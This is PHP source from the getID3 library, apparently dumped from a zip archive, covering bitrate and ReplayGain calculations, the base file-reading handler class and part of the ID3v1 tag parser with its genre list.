		if (isset($this->info['video']['dataformat']) && $this->info['video']['dataformat'] && (!isset($this->info['video']['bitrate']) || ($this->info['video']['bitrate'] == 0))) {
			// if video bitrate not set
			if (isset($this->info['audio']['bitrate']) && ($this->info['audio']['bitrate'] > 0) && ($this->info['audio']['bitrate'] == $this->info['bitrate'])) {
				// AND if audio bitrate is set to same as overall bitrate
				if (isset($this->info['playtime_seconds']) && ($this->info['playtime_seconds'] > 0)) {
					// AND if playtime is set
					if (isset($this->info['avdataend']) && isset($this->info['avdataoffset'])) {
						// AND if AV data offset start/end is known
						// THEN we can calculate the video bitrate
						$this->info['bitrate'] = round((($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds']);
						$this->info['video']['bitrate'] = $this->info['bitrate'] - $this->info['audio']['bitrate'];
					}
				}
			}
		}

		if ((!isset($this->info['playtime_seconds']) || ($this->info['playtime_seconds'] <= 0)) && !empty($this->info['bitrate'])) {
			$this->info['playtime_seconds'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['bitrate'];
		}

		if (!isset($this->info['bitrate']) && !empty($this->info['playtime_seconds'])) {
			$this->info['bitrate'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds'];
		}
		if (isset($this->info['bitrate']) && empty($this->info['audio']['bitrate']) && empty($this->info['video']['bitrate'])) {
			if (isset($this->info['audio']['dataformat']) && empty($this->info['video']['resolution_x'])) {
				// audio only
				$this->info['audio']['bitrate'] = $this->info['bitrate'];
			} elseif (isset($this->info['video']['resolution_x']) && empty($this->info['audio']['dataformat'])) {
				// video only
				$this->info['video']['bitrate'] = $this->info['bitrate'];
			}
		}

		// Set playtime string
		if (!empty($this->info['playtime_seconds']) && empty($this->info['playtime_string'])) {
			$this->info['playtime_string'] = getid3_lib::PlaytimeString($this->info['playtime_seconds']);
		}
	}

	/**
	 * @return bool
	 */
	public function CalculateCompressionRatioVideo() {
		if (empty($this->info['video'])) {
			return false;
		}
		if (empty($this->info['video']['resolution_x']) || empty($this->info['video']['resolution_y'])) {
			return false;
		}
		if (empty($this->info['video']['bits_per_sample'])) {
			return false;
		}

		switch ($this->info['video']['dataformat']) {
			case 'bmp':
			case 'gif':
			case 'jpeg':
			case 'jpg':
			case 'png':
			case 'tiff':
				$FrameRate = 1;
				$PlaytimeSeconds = 1;
				$BitrateCompressed = $this->info['filesize'] * 8;
				break;

			default:
				if (!empty($this->info['video']['frame_rate'])) {
					$FrameRate = $this->info['video']['frame_rate'];
				} else {
					return false;
				}
				if (!empty($this->info['playtime_seconds'])) {
					$PlaytimeSeconds = $this->info['playtime_seconds'];
				} else {
					return false;
				}
				if (!empty($this->info['video']['bitrate'])) {
					$BitrateCompressed = $this->info['video']['bitrate'];
				} else {
					return false;
				}
				break;
		}
		$BitrateUncompressed = $this->info['video']['resolution_x'] * $this->info['video']['resolution_y'] * $this->info['video']['bits_per_sample'] * $FrameRate;

		$this->info['video']['compression_ratio'] = getid3_lib::SafeDiv($BitrateCompressed, $BitrateUncompressed, 1);
		return true;
	}

	/**
	 * @return bool
	 */
	public function CalculateCompressionRatioAudio() {
		if (empty($this->info['audio']['bitrate']) || empty($this->info['audio']['channels']) || empty($this->info['audio']['sample_rate']) || !is_numeric($this->info['audio']['sample_rate'])) {
			return false;
		}
		if ($this->info['audio']['bitrate'] != 'free') {
			$this->info['audio']['compression_ratio'] = $this->info['audio']['bitrate'] / ($this->info['audio']['channels'] * $this->info['audio']['sample_rate'] * (!empty($this->info['audio']['bits_per_sample']) ? $this->info['audio']['bits_per_sample'] : 16));
		}

		if (!empty($this->info['audio']['streams'])) {
			foreach ($this->info['audio']['streams'] as $streamnumber => $streamdata) {
				if (!empty($streamdata['bitrate']) && !empty($streamdata['channels']) && !empty($streamdata['sample_rate'])) {
					$this->info['audio']['streams'][$streamnumber]['compression_ratio'] = $streamdata['bitrate'] / ($streamdata['channels'] * $streamdata['sample_rate'] * (!empty($streamdata['bits_per_sample']) ? $streamdata['bits_per_sample'] : 16));
				}
			}
		}
		return true;
	}

	/**
	 * @return bool
	 */
	public function CalculateReplayGain() {
		if (isset($this->info['replay_gain'])) {
			if (!isset($this->info['replay_gain']['reference_volume'])) {
				$this->info['replay_gain']['reference_volume'] = 89.0;
			}
			if (isset($this->info['replay_gain']['track']['adjustment'])) {
				$this->info['replay_gain']['track']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['track']['adjustment'];
			}
			if (isset($this->info['replay_gain']['album']['adjustment'])) {
				$this->info['replay_gain']['album']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['album']['adjustment'];
			}

			if (isset($this->info['replay_gain']['track']['peak'])) {
				$this->info['replay_gain']['track']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['track']['peak']);
			}
			if (isset($this->info['replay_gain']['album']['peak'])) {
				$this->info['replay_gain']['album']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['album']['peak']);
			}
		}
		return true;
	}

	/**
	 * @return bool
	 */
	public function ProcessAudioStreams() {
		if (!empty($this->info['audio']['bitrate']) || !empty($this->info['audio']['channels']) || !empty($this->info['audio']['sample_rate'])) {
			if (!isset($this->info['audio']['streams'])) {
				foreach ($this->info['audio'] as $key => $value) {
					if ($key != 'streams') {
						$this->info['audio']['streams'][0][$key] = $value;
					}
				}
			}
		}
		return true;
	}

	/**
	 * @return string|bool
	 */
	public function getid3_tempnam() {
		return tempnam($this->tempdir, 'gI3');
	}

	/**
	 * @param string $name
	 *
	 * @return bool
	 *
	 * @throws getid3_exception
	 */
	public function include_module($name) {
		//if (!file_exists($this->include_path.'module.'.$name.'.php')) {
		if (!file_exists(GETID3_INCLUDEPATH.'module.'.$name.'.php')) {
			throw new getid3_exception('Required module.'.$name.'.php is missing.');
		}
		include_once(GETID3_INCLUDEPATH.'module.'.$name.'.php');
		return true;
	}

	/**
	 * @param string $filename
	 *
	 * @return bool
	 */
	public static function is_writable ($filename) {
		$ret = is_writable($filename);
		if (!$ret) {
			$perms = fileperms($filename);
			$ret = ($perms & 0x0080) || ($perms & 0x0010) || ($perms & 0x0002);
		}
		return $ret;
	}

}


abstract class getid3_handler
{

	/**
	* @var getID3
	*/
	protected $getid3;                       // pointer

	/**
	 * Analyzing filepointer or string.
	 *
	 * @var bool
	 */
	protected $data_string_flag     = false;

	/**
	 * String to analyze.
	 *
	 * @var string
	 */
	protected $data_string          = '';

	/**
	 * Seek position in string.
	 *
	 * @var int
	 */
	protected $data_string_position = 0;

	/**
	 * String length.
	 *
	 * @var int
	 */
	protected $data_string_length   = 0;

	/**
	 * @var string
	 */
	private $dependency_to;

	/**
	 * getid3_handler constructor.
	 *
	 * @param getID3 $getid3
	 * @param string $call_module
	 */
	public function __construct(getID3 $getid3, $call_module=null) {
		$this->getid3 = $getid3;

		if ($call_module) {
			$this->dependency_to = str_replace('getid3_', '', $call_module);
		}
	}

	/**
	 * Analyze from file pointer.
	 *
	 * @return bool
	 */
	abstract public function Analyze();

	/**
	 * Analyze from string instead.
	 *
	 * @param string $string
	 */
	public function AnalyzeString($string) {
		// Enter string mode
		$this->setStringMode($string);

		// Save info
		$saved_avdataoffset = $this->getid3->info['avdataoffset'];
		$saved_avdataend    = $this->getid3->info['avdataend'];
		$saved_filesize     = (isset($this->getid3->info['filesize']) ? $this->getid3->info['filesize'] : null); // may be not set if called as dependency without openfile() call

		// Reset some info
		$this->getid3->info['avdataoffset'] = 0;
		$this->getid3->info['avdataend']    = $this->getid3->info['filesize'] = $this->data_string_length;

		// Analyze
		$this->Analyze();

		// Restore some info
		$this->getid3->info['avdataoffset'] = $saved_avdataoffset;
		$this->getid3->info['avdataend']    = $saved_avdataend;
		$this->getid3->info['filesize']     = $saved_filesize;

		// Exit string mode
		$this->data_string_flag = false;
	}

	/**
	 * @param string $string
	 */
	public function setStringMode($string) {
		$this->data_string_flag   = true;
		$this->data_string        = $string;
		$this->data_string_length = strlen($string);
	}

	/**
	 * @phpstan-impure
	 *
	 * @return int|bool
	 */
	protected function ftell() {
		if ($this->data_string_flag) {
			return $this->data_string_position;
		}
		return ftell($this->getid3->fp);
	}

	/**
	 * @param int $bytes
	 *
	 * @phpstan-impure
	 *
	 * @return string|false
	 *
	 * @throws getid3_exception
	 */
	protected function fread($bytes) {
		if ($this->data_string_flag) {
			$this->data_string_position += $bytes;
			return substr($this->data_string, $this->data_string_position - $bytes, $bytes);
		}
		if ($bytes == 0) {
			return '';
		} elseif ($bytes < 0) {
			throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().')', 10);
		}
		$pos = $this->ftell() + $bytes;
		if (!getid3_lib::intValueSupported($pos)) {
			throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') because beyond PHP filesystem limit', 10);
		}

		//return fread($this->getid3->fp, $bytes);
		/*
		* https://www.getid3.org/phpBB3/viewtopic.php?t=1930
		* "I found out that the root cause for the problem was how getID3 uses the PHP system function fread().
		* It seems to assume that fread() would always return as many bytes as were requested.
		* However, according the PHP manual (http://php.net/manual/en/function.fread.php), this is the case only with regular local files, but not e.g. with Linux pipes.
		* The call may return only part of the requested data and a new call is needed to get more."
		*/
		$contents = '';
		do {
			//if (($this->getid3->memory_limit > 0) && ($bytes > $this->getid3->memory_limit)) {
			if (($this->getid3->memory_limit > 0) && (($bytes / $this->getid3->memory_limit) > 0.99)) { // enable a more-fuzzy match to prevent close misses generating errors like "PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 33554464 bytes)"
				throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') that is more than available PHP memory ('.$this->getid3->memory_limit.')', 10);
			}
			$part = fread($this->getid3->fp, $bytes);
			$partLength  = strlen($part);
			$bytes      -= $partLength;
			$contents   .= $part;
		} while (($bytes > 0) && ($partLength > 0));
		return $contents;
	}

	/**
	 * @param int $bytes
	 * @param int $whence
	 *
	 * @phpstan-impure
	 *
	 * @return int
	 *
	 * @throws getid3_exception
	 */
	protected function fseek($bytes, $whence=SEEK_SET) {
		if ($this->data_string_flag) {
			switch ($whence) {
				case SEEK_SET:
					$this->data_string_position = $bytes;
					break;

				case SEEK_CUR:
					$this->data_string_position += $bytes;
					break;

				case SEEK_END:
					$this->data_string_position = $this->data_string_length + $bytes;
					break;
			}
			return 0; // fseek returns 0 on success
		}

		$pos = $bytes;
		if ($whence == SEEK_CUR) {
			$pos = $this->ftell() + $bytes;
		} elseif ($whence == SEEK_END) {
			$pos = $this->getid3->info['filesize'] + $bytes;
		}
		if (!getid3_lib::intValueSupported($pos)) {
			throw new getid3_exception('cannot fseek('.$pos.') because beyond PHP filesystem limit', 10);
		}

		// https://github.com/JamesHeinrich/getID3/issues/327
		$result = fseek($this->getid3->fp, $bytes, $whence);
		if ($result !== 0) { // fseek returns 0 on success
			throw new getid3_exception('cannot fseek('.$pos.'). resource/stream does not appear to support seeking', 10);
		}
		return $result;
	}

	/**
	 * @phpstan-impure
	 *
	 * @return string|false
	 *
	 * @throws getid3_exception
	 */
	protected function fgets() {
		// must be able to handle CR/LF/CRLF but not read more than one lineend
		$buffer   = ''; // final string we will return
		$prevchar = ''; // save previously-read character for end-of-line checking
		if ($this->data_string_flag) {
			while (true) {
				$thischar = substr($this->data_string, $this->data_string_position++, 1);
				if (($prevchar == "\r") && ($thischar != "\n")) {
					// read one byte too many, back up
					$this->data_string_position--;
					break;
				}
				$buffer .= $thischar;
				if ($thischar == "\n") {
					break;
				}
				if ($this->data_string_position >= $this->data_string_length) {
					// EOF
					break;
				}
				$prevchar = $thischar;
			}

		} else {

			// Ideally we would just use PHP's fgets() function, however...
			// it does not behave consistently with regards to mixed line endings, may be system-dependent
			// and breaks entirely when given a file with mixed \r vs \n vs \r\n line endings (e.g. some PDFs)
			//return fgets($this->getid3->fp);
			while (true) {
				$thischar = fgetc($this->getid3->fp);
				if (($prevchar == "\r") && ($thischar != "\n")) {
					// read one byte too many, back up
					fseek($this->getid3->fp, -1, SEEK_CUR);
					break;
				}
				$buffer .= $thischar;
				if ($thischar == "\n") {
					break;
				}
				if (feof($this->getid3->fp)) {
					break;
				}
				$prevchar = $thischar;
			}

		}
		return $buffer;
	}

	/**
	 * @phpstan-impure
	 *
	 * @return bool
	 */
	protected function feof() {
		if ($this->data_string_flag) {
			return $this->data_string_position >= $this->data_string_length;
		}
		return feof($this->getid3->fp);
	}

	/**
	 * @param string $module
	 *
	 * @return bool
	 */
	final protected function isDependencyFor($module) {
		return $this->dependency_to == $module;
	}

	/**
	 * @param string $text
	 *
	 * @return bool
	 */
	protected function error($text) {
		$this->getid3->info['error'][] = $text;

		return false;
	}

	/**
	 * @param string $text
	 *
	 * @return bool
	 */
	protected function warning($text) {
		return $this->getid3->warning($text);
	}

	/**
	 * @param string $text
	 */
	protected function notice($text) {
		// does nothing for now
	}

	/**
	 * @param string $name
	 * @param int    $offset
	 * @param int    $length
	 * @param string $image_mime
	 *
	 * @return string|null
	 *
	 * @throws Exception
	 * @throws getid3_exception
	 */
	public function saveAttachment($name, $offset, $length, $image_mime=null) {
		$fp_dest = null;
		$dest = null;
		try {

			// do not extract at all
			if ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_NONE) {

				$attachment = null; // do not set any

			// extract to return array
			} elseif ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_INLINE) {

				$this->fseek($offset);
				$attachment = $this->fread($length); // get whole data in one pass, till it is anyway stored in memory
				if ($attachment === false || strlen($attachment) != $length) {
					throw new Exception('failed to read attachment data');
				}

			// assume directory path is given
			} else {

				// set up destination path
				$dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR);
				if (!is_dir($dir) || !getID3::is_writable($dir)) { // check supplied directory
					throw new Exception('supplied path ('.$dir.') does not exist, or is not writable');
				}
				$dest = $dir.DIRECTORY_SEPARATOR.$name.($image_mime ? '.'.getid3_lib::ImageExtFromMime($image_mime) : '');

				// create dest file
				if (($fp_dest = fopen($dest, 'wb')) == false) {
					throw new Exception('failed to create file '.$dest);
				}

				// copy data
				$this->fseek($offset);
				$buffersize = ($this->data_string_flag ? $length : $this->getid3->fread_buffer_size());
				$bytesleft = $length;
				while ($bytesleft > 0) {
					if (($buffer = $this->fread(min($buffersize, $bytesleft))) === false || ($byteswritten = fwrite($fp_dest, $buffer)) === false || ($byteswritten === 0)) {
						throw new Exception($buffer === false ? 'not enough data to read' : 'failed to write to destination file, may be not enough disk space');
					}
					$bytesleft -= $byteswritten;
				}

				fclose($fp_dest);
				$attachment = $dest;

			}

		} catch (Exception $e) {

			// close and remove dest file if created
			if (isset($fp_dest) && is_resource($fp_dest)) {
				fclose($fp_dest);
			}

			if (isset($dest) && file_exists($dest)) {
				unlink($dest);
			}

			// do not set any is case of error
			$attachment = null;
			$this->warning('Failed to extract attachment '.$name.': '.$e->getMessage());

		}

		// seek to the end of attachment
		$this->fseek($offset + $length);

		return $attachment;
	}

}


class getid3_exception extends Exception
{
	public $message;
}
PKE]hi::module.tag.id3v1.phpnuW+A<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.tag.id3v1.php                                        //
// module for analyzing ID3v1 tags                             //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

class getid3_id3v1 extends getid3_handler
{
	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		if (!getid3_lib::intValueSupported($info['filesize'])) {
			$this->warning('Unable to check for ID3v1 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
			return false;
		}

		if($info['filesize'] < 256) {
			$this->fseek(-128, SEEK_END);
			$preid3v1 = '';
			$id3v1tag = $this->fread(128);
		} else {
			$this->fseek(-256, SEEK_END);
			$preid3v1 = $this->fread(128);
			$id3v1tag = $this->fread(128);
		}


		if (substr($id3v1tag, 0, 3) == 'TAG') {

			$info['avdataend'] = $info['filesize'] - 128;

			$ParsedID3v1            = array();
			$ParsedID3v1['title']   = $this->cutfield(substr($id3v1tag,   3, 30));
			$ParsedID3v1['artist']  = $this->cutfield(substr($id3v1tag,  33, 30));
			$ParsedID3v1['album']   = $this->cutfield(substr($id3v1tag,  63, 30));
			$ParsedID3v1['year']    = $this->cutfield(substr($id3v1tag,  93,  4));
			$ParsedID3v1['comment'] =                 substr($id3v1tag,  97, 30);  // can't remove nulls yet, track detection depends on them
			$ParsedID3v1['genreid'] =             ord(substr($id3v1tag, 127,  1));

			// If second-last byte of comment field is null and last byte of comment field is non-null
			// then this is ID3v1.1 and the comment field is 28 bytes long and the 30th byte is the track number
			if (($id3v1tag[125] === "\x00") && ($id3v1tag[126] !== "\x00")) {
				$ParsedID3v1['track_number'] = ord(substr($ParsedID3v1['comment'], 29,  1));
				$ParsedID3v1['comment']      =     substr($ParsedID3v1['comment'],  0, 28);
			}
			$ParsedID3v1['comment'] = $this->cutfield($ParsedID3v1['comment']);

			$ParsedID3v1['genre'] = $this->LookupGenreName($ParsedID3v1['genreid']);
			if (!empty($ParsedID3v1['genre'])) {
				unset($ParsedID3v1['genreid']);
			}
			if (empty($ParsedID3v1['genre']) || ($ParsedID3v1['genre'] == 'Unknown')) {
				unset($ParsedID3v1['genre']);
			}

			foreach ($ParsedID3v1 as $key => $value) {
				$ParsedID3v1['comments'][$key][0] = $value;
			}
			$ID3v1encoding = $this->getid3->encoding_id3v1;
			if ($this->getid3->encoding_id3v1_autodetect) {
				// ID3v1 encoding detection hack START
				// ID3v1 is defined as always using ISO-8859-1 encoding, but it is not uncommon to find files tagged with ID3v1 using Windows-1251 or other character sets
				// Since ID3v1 has no concept of character sets there is no certain way to know we have the correct non-ISO-8859-1 character set, but we can guess
				foreach ($ParsedID3v1['comments'] as $tag_key => $valuearray) {
					foreach ($valuearray as $key => $value) {
						if (preg_match('#^[\\x00-\\x40\\x80-\\xFF]+$#', $value) && !ctype_digit((string) $value)) { // check for strings with only characters above chr(128) and punctuation/numbers, but not just numeric strings (e.g. track numbers or years)
							foreach (array('Windows-1251', 'KOI8-R') as $id3v1_bad_encoding) {
								if (function_exists('mb_convert_encoding') && @mb_convert_encoding($value, $id3v1_bad_encoding, $id3v1_bad_encoding) === $value) {
									$ID3v1encoding = $id3v1_bad_encoding;
									$this->warning('ID3v1 detected as '.$id3v1_bad_encoding.' text encoding in '.$tag_key);
									break 3;
								} elseif (function_exists('iconv') && @iconv($id3v1_bad_encoding, $id3v1_bad_encoding, $value) === $value) {
									$ID3v1encoding = $id3v1_bad_encoding;
									$this->warning('ID3v1 detected as '.$id3v1_bad_encoding.' text encoding in '.$tag_key);
									break 3;
								}
							}
						}
					}
				}
				// ID3v1 encoding detection hack END
			}

			// ID3v1 data is supposed to be padded with NULL characters, but some taggers pad with spaces
			$GoodFormatID3v1tag = $this->GenerateID3v1Tag(
											$ParsedID3v1['title'],
											$ParsedID3v1['artist'],
											$ParsedID3v1['album'],
											$ParsedID3v1['year'],
											(isset($ParsedID3v1['genre']) ? $this->LookupGenreID($ParsedID3v1['genre']) : false),
											$ParsedID3v1['comment'],
											(!empty($ParsedID3v1['track_number']) ? $ParsedID3v1['track_number'] : ''));
			$ParsedID3v1['padding_valid'] = true;
			if ($id3v1tag !== $GoodFormatID3v1tag) {
				$ParsedID3v1['padding_valid'] = false;
				$this->warning('Some ID3v1 fields do not use NULL characters for padding');
			}

			$ParsedID3v1['tag_offset_end']   = $info['filesize'];
			$ParsedID3v1['tag_offset_start'] = $ParsedID3v1['tag_offset_end'] - 128;

			$info['id3v1'] = $ParsedID3v1;
			$info['id3v1']['encoding'] = $ID3v1encoding;
		}

		if (substr($preid3v1, 0, 3) == 'TAG') {
			// The way iTunes handles tags is, well, brain-damaged.
			// It completely ignores v1 if ID3v2 is present.
			// This goes as far as adding a new v1 tag *even if there already is one*

			// A suspected double-ID3v1 tag has been detected, but it could be that
			// the "TAG" identifier is a legitimate part of an APE or Lyrics3 tag
			if (substr($preid3v1, 96, 8) == 'APETAGEX') {
				// an APE tag footer was found before the last ID3v1, assume false "TAG" synch
			} elseif (substr($preid3v1, 119, 6) == 'LYRICS') {
				// a Lyrics3 tag footer was found before the last ID3v1, assume false "TAG" synch
			} else {
				// APE and Lyrics3 footers not found - assume double ID3v1
				$this->warning('Duplicate ID3v1 tag detected - this has been known to happen with iTunes');
				$info['avdataend'] -= 128;
			}
		}

		return true;
	}

	/**
	 * @param string $str
	 *
	 * @return string
	 */
	public static function cutfield($str) {
		return trim(substr($str, 0, strcspn($str, "\x00")));
	}

	/**
	 * @param bool $allowSCMPXextended
	 *
	 * @return string[]
	 */
	public static function ArrayOfGenres($allowSCMPXextended=false) {
		static $GenreLookup = array(
			0    => 'Blues',
			1    => 'Classic Rock',
			2    => 'Country',
			3    => 'Dance',
			4    => 'Disco',
			5    => 'Funk',
			6    => 'Grunge',
			7    => 'Hip-Hop',
			8    => 'Jazz',
			9    => 'Metal',
			10   => 'New Age',
			11   => 'Oldies',
			12   => 'Other',
			13   => 'Pop',
			14   => 'R&B',
			15   => 'Rap',
			16   => 'Reggae',
			17   => 'Rock',
			18   => 'Techno',
			19   => 'Industrial',
			20   => 'Alternative',
			21   => 'Ska',
			22   => 'Death Metal',
			23   => 'Pranks',
			24   => 'Soundtrack',
			25   => 'Euro-Techno',
			26   => 'Ambient',
			27   => 'Trip-Hop',
			28   => 'Vocal',
			29   => 'Jazz+Funk',
			30   => 'Fusion',
			31   => 'Trance',
			32   => 'Classical',
			33   => 'Instrumental',
			34   => 'Acid',
			35   => 'House',
			36   => 'Game',
			37   => 'Sound Clip',
			38   => 'Gospel',
			39   => 'Noise',
			40   => 'Alt. Rock',
			41   => 'Bass',
			42   => 'Soul',
			43   => 'Punk',
			44   => 'Space',
			45   => 'Meditative',
			46   => 'Instrumental Pop',
			47   => 'Instrumental Rock',
			48   => 'Ethnic',
			49   => 'Gothic',
			50   => 'Darkwave',
			51   => 'Techno-Industrial',
			52   => 'Electronic',
			53   => 'Pop-Folk',
			54   => 'Eurodance',
			55   => 'Dream',
			56   => 'Southern Rock',
			57   => 'Comedy',
			58   => 'Cult',
			59   => 'Gangsta Rap',
			60   => 'Top 40',
			61   => 'Christian Rap',
			62   => 'Pop/Funk',
			63   => 'Jungle',
			64   => 'Native American',
			65   => 'Cabaret',
			66   => 'New Wave',
			67   => 'Psychedelic',
			68   => 'Rave',
			69   => 'Showtunes',
			70   => 'Trailer',
			71   => 'Lo-Fi',
			72   => 'Tribal',
			73   => 'Acid Punk',
			74   => 'Acid Jazz',
			75   => 'Polka',
			76   => 'Retro',
			77   => 'Musical',
			78   => 'Rock & Roll',
			79   => 'Hard Rock',
			80   => 'Folk',
			81   => 'Folk/Rock',
			82   => 'National Folk',
			83   => 'Swing',
			84   => 'Fast-Fusion',
			85   => 'Bebob',
			86   => 'Latin',
			87   => 'Revival',
			88   => 'Celtic',
			89   => 'Bluegrass',
			90   => 'Avantgarde',
			91   => 'Gothic Rock',
			92   => 'Progressive Rock',
			93   => 'Psychedelic Rock',
			94   => 'Symphonic Rock',
			95   => 'Slow Rock',
			96   => 'Big Band',
			97   => 'Chorus',
			98   => 'Easy Listening',
			99   => 'Acoustic',
			100  => 'Humour',
			101  => 'Speech',
			102  => 'Chanson',
			103  => 'Opera',
			104  => 'Chamber Music',
			105  => 'Sonata',
			106  => 'Symphony',
			107  => 'Booty Bass',
			108  => 'Primus',
			109  => 'Porn Groove',
			110  => 'Satire',
			111  => 'Slow Jam',
			112  => 'Club',
			113  => 'Tango',
			114  => 'Samba',
			115  => 'Folklore',
			116  => 'Ballad',
			117  => 'Power Ballad',
			118  => 'Rhythmic Soul',
			119  => 'Freestyle',
			120  => 'Duet',
			121  => 'Punk Rock',
			122  => 'Drum Solo',
			123  => 'A Cappella',
			124  => 'Euro-House',
			125  => 'Dance Hall',
			126  => 'Goa',
			127  => 'Drum & Bass',
			128  => 'Club-House',
			129  => 'Hardcore',
			130  => 'Terror',
			131  => 'Indie',
			132  => 'BritPop',
			133  => 'Negerpunk',
			134  => 'Polsk Punk',
			135  => 'Beat',
			136  => 'Christian Gangsta Rap',
			137  => 'Heavy Metal',
			138  => 'Black Metal',
			139  => 'Crossover',
			140  => 'Contemporary Christian',
			141  => 'Christian Rock',
			142  => 'Merengue',
			143  => 'Salsa',
			144  => 'Thrash Metal',
			145  => 'Anime',
			146  => 'JPop',
			147  => 'Synthpop',
			148 => 'Abstract',
			149 => 'Art Rock',
			150 => 'Baroque',
			151 => 'Bhangra',
			152 => 'Big Beat',
			153 => 'Breakbeat',
			154 => 'Chillout',
			155 => 'Downtempo',
			156 => 'Dub',
			157 => 'EBM',
			158 => 'Eclectic',
			159 => 'Electro',
			160 => 'Electroclash',
			161 => 'Emo',
			162 => 'Experimental',
			163 => 'Garage',
			164 => 'Global',
			165 => 'IDM',
			166 => 'Illbient',
			167 => 'Industro-Goth',
			168 => 'Jam Band',
			169 => 'Krautrock',
			170 => 'Leftfield',
			171 => 'Lounge',
			172 => 'Math Rock',
			173 => 'New Romantic',
			174 => 'Nu-Breakz',
			175 => 'Post-Punk',
			176 => 'Post-Rock',
			177 => 'Psytrance',
			178 => 'Shoegaze',
			179 => 'Space Rock',
			180 => 'Trop Rock',
			181 => 'World Music',
			182 => 'Neoclassical',
			183 => 'Audiobook',
			184 => 'Audio Theatre',
			185 => 'Neue Deutsche Welle',
			186 => 'Podcast',
			187 => 'Indie-Rock',
			188 => 'G-Funk',
			189 => 'Dubstep',
			190 => 'Garage Rock',
			191 => 'Psybient',

			255  => 'Unknown',

			'CR' => 'Cover',
			'RX' => 'Remix'
		);

		static $GenreLookupSCMPX = array();
		if ($allowSCMPXextended && empty($GenreLookupSCMPX)) {
			$GenreLookupSCMPX = $GenreLookup;
			// http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended
			// Extended ID3v1 genres invented by SCMPX
			// Note that 255 "Japanese Anime" conflicts with standard "Unknown"
			$GenreLookupSCMPX[240] = 'Sacred';
			$GenreLookupSCMPX[241] = 'Northern Europe';
			$GenreLookupSCMPX[242] = 'Irish & Scottish';
			$GenreLookupSCMPX[243] = 'Scotland';
			$GenreLookupSCMPX[244] = 'Ethnic Europe';
			$GenreLookupSCMPX[245] = 'Enka';
			$GenreLookupSCMPX[246] = 'Children\'s Song';
			$GenreLookupSCMPX[247] = 'Japanese Sky';
			$GenreLookupSCMPX[248] = 'Japanese Heavy Rock';
			$GenreLookupSCMPX[249] = 'Japanese Doom Rock';
			$GenreLookupSCMPX[250] = 'Japanese J-POP';
			$GenreLookupSCMPX[251] = 'Japanese Seiyu';
			$GenreLookupSCMPX[252] = 'Japanese Ambient Techno';
			$GenreLookupSCMPX[253] = 'Japanese Moemoe';
			$GenreLookupSCMPX[254] = 'Japanese Tokusatsu';
			//$GenreLookupSCMPX[255] = 'Japanese Anime';
		}

		return ($allowSCMPXextended ? $GenreLookupSCMPX : $GenreLookup);
	}

	/**
	 * @param string $genreid
	 * @param bool   $allowSCMPXextended
	 *
	 * @return string|false
	 */
	public static function LookupGenreName($genreid, $allowSCMPXextended=true) {
		switch ($genreid) {
			case 'RX':
			case 'CR':
				break;
			default:
				if (!is_numeric($genreid)) {
					return false;
				}
				$genreid = intval($genreid); // to handle 3 or '3' or '03'
				break;
		}
		$GenreLookup = self::ArrayOfGenres($allowSCMPXextended);
		return (isset($GenreLookup[$genreid]) ? $GenreLookup[$genreid] : false);
	}

	/**
	 * @param string $genre
	 * @param bool   $allowSCMPXextended
	 *
	 * @return string|false
	 */
	public static function LookupGenreID($genre, $allowSCMPXextended=false) {
		$GenreLookup = self::ArrayOfGenres($allowSCMPXextended);
		$LowerCaseNoSpaceSearchTerm = strtolower(str_replace(' ', '', $genre));
		foreach ($GenreLookup as $key => $value) {
			if (strtolower(str_replace(' ', '', $value)) == $LowerCaseNoSpaceSearchTerm) {
				return $key;
			}
		}
		return false;
	}

	/**
	 * @param string $OriginalGenre
	 *
	 * @return string|false
	 */
	public static function StandardiseID3v1GenreName($OriginalGenre) {
		if (($GenreID = self::LookupGenreID($OriginalGenre)) !== false) {
			return self::LookupGenreName($GenreID);
		}
		return $OriginalGenre;
	}

	/**
	 * @param string     $title
	 * @param string     $artist
	 * @param string     $album
	 * @param string     $year
	 * @param int        $genreid
	 * @param string     $comment
	 * @param int|string $track
	 *
	 * @return string
	 */
	public static function GenerateID3v1Tag($title, $artist, $album, $year, $genreid, $comment, $track='') {
		$ID3v1Tag  = 'TAG';
		$ID3v1Tag .= str_pad(trim(substr($title,  0, 30)), 30, "\x00", STR_PAD_RIGHT);
		$ID3v1Tag .= str_pad(trim(substr($artist, 0, 30)), 30, "\x00", STR_PAD_RIGHT);
		$ID3v1Tag .= str_pad(trim(substr($album,  0, 30)), 30, "\x00", STR_PAD_RIGHT);
		$ID3v1Tag .= str_pad(trim(substr($year,   0,  4)),  4, "\x00", STR_PAD_LEFT);
		if (!empty($track) && ($track > 0) && ($track <= 255)) {
			$ID3v1Tag .= str_pad(trim(substr($comment, 0, 28)), 28, "\x00", STR_PAD_RIGHT);
			$ID3v1Tag .= "\x00";
			if (gettype($track) == 'string') {
				$track = (int) $track;
			}
			$ID3v1Tag .= chr($track);
		} else {
